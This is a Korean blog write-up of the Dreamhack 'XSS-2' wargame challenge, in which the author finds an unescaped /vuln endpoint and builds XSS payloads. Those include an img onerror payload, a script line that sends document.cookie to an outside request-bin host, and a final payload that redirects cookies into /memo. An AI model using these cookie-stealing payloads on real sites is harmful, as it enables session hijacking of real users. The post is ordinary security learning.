Dreamhack

웹 해킹 : XSS-2

kchabin 2022. 7. 25. 20:32

문제

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.

 

 

memo 엔드포인트 xss-1과 거의 동일한 듯. memo_text를 전역 변수로 선언하고

입력받은 memo를 text로 memo_text에 저장하고 memo.html에 render_template()으로 출력함.

여기서 엔티티코드로 변하니까 memo에는 취약점 없음.

이 코드에서도 vuln이 문제임. 별도의 코드 변환 없이 입력받은 param을 그대로 출력함. 

/memo

주소창에 입력한대로 출력이됨.

아까와 동일하게 입력. memo페이지에 쿠키 정보가 출력되게끔.

계속 hello만 출력됨.

이상해서 /vuln에도 들어가보니 <script>alert(1)</script> 입력이돼있는데도팝업이 뜨지 않음.

<script>"https://ayzlgwd.request.dreamhack.games/?memo=" + document.cookie;</script>을 입력해봤는데도 암것도 확인할 수 없었음.

좀 검색해보니 script가 막혀서인듯하다. 이거말고 다른건 배운 적이 없기에 해설을 참고했음.

http://host3.dreamhack.games:20053/vuln?param=%3Cimg%20src=%22%22%20onerror=%22alert(1)%22%3E

<img%20src=""%20onerror="alert(1)"> 이런 식으로 입력함.

 

<img+src=""+onerror="location.href='/memo?memo=' + document.cookie">

처음에 이렇게 했다 안돼서 URL 이스케이프 코드라는 걸 찾아냈음. %20은 그냥 공백이었음.

<img src="" onerror="location.href='/memo?memo=' + document.cookie ">

 

많은 시행착오 끝에 드디어 찾아냄. 난 기초적인 문제일거라고 생각했는데

어느정도 백그라운드 지식이 있는 상태에서 들어야하는 수업이었나봄.

'Dreamhack' 카테고리의 다른 글

암호학 Stage 2  (0) 2022.07.30
암호학 Stage 1  (0) 2022.07.30
웹 해킹 ClientSide: XSS  (0) 2022.07.25
웹 해킹 Stage 3  (0) 2022.07.22
시스템 해킹 quiz.c  (0) 2022.07.22